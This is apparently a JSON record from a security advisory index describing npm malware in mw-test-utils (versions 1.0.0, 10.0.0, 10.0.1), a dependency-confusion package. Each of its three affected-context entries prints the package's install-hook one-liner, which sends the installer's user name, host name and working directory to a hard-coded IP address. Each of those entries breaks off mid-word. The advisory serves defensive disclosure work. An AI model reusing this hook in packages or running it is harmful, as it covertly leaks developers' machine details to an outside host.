{"items":[{"id":"NVI-00008353","kind":"supply_chain_event","title":"Malicious code in mw-test-utils (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-j7r7-x5hv-p975"],"plain_summary":"GitHub lists this malware advisory for mw-test-utils, mw-test-utils, mw-test-utils. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-0690820bf20a48ced4868c3c40f18eaa"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-0690820bf20a48ced4868c3c40f18eaa","url":"https://github.com/advisories/GHSA-j7r7-x5hv-p975","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-j7r7-x5hv-p975","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T21:56:27.401Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-0690820bf20a48ced4868c3c40f18eaa"],"technology":"mw-test-utils","known_exclusions":[],"conditions_summary":"mw-test-utils was published to npm on 2026-10-27 from 06:56:36 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 1.0.0, 10.0.0, 10.0.1. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 1.0.0 is the latest version at the time of this report.\n\npackage.json declares a preinstall and a postinstall script, which npm runs on every install:\n\nnode -e \"require('http').get('http://38.242.235.206/depconf/mw-test-utils/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})\"\n\nThe postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.242.235.206. The RE","public_affected_ranges":["= 1.0.0"]},{"certainty":"source_listed","source_ids":["sr-0690820bf20a48ced4868c3c40f18eaa"],"technology":"mw-test-utils","known_exclusions":[],"conditions_summary":"mw-test-utils was published to npm on 2026-10-27 from 06:56:36 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 1.0.0, 10.0.0, 10.0.1. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 1.0.0 is the latest version at the time of this report.\n\npackage.json declares a preinstall and a postinstall script, which npm runs on every install:\n\nnode -e \"require('http').get('http://38.242.235.206/depconf/mw-test-utils/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})\"\n\nThe postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.242.235.206. The RE","public_affected_ranges":["= 10.0.0"]},{"certainty":"source_listed","source_ids":["sr-0690820bf20a48ced4868c3c40f18eaa"],"technology":"mw-test-utils","known_exclusions":[],"conditions_summary":"mw-test-utils was published to npm on 2026-10-27 from 06:56:36 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 1.0.0, 10.0.0, 10.0.1. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 1.0.0 is the latest version at the time of this report.\n\npackage.json declares a preinstall and a postinstall script, which npm runs on every install:\n\nnode -e \"require('http').get('http://38.242.235.206/depconf/mw-test-utils/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})\"\n\nThe postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.242.235.206. The RE","public_affected_ranges":["= 10.0.1"]}],"null_published_at":"2026-10-31T22:13:22.841Z","source_updated_at":"2026-10-29T15:31:33.000Z","source_disclosed_at":"2026-10-29T09:31:29.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T21:56:27.401Z"}],"next_cursor":null,"snapshot_revision":"42594"}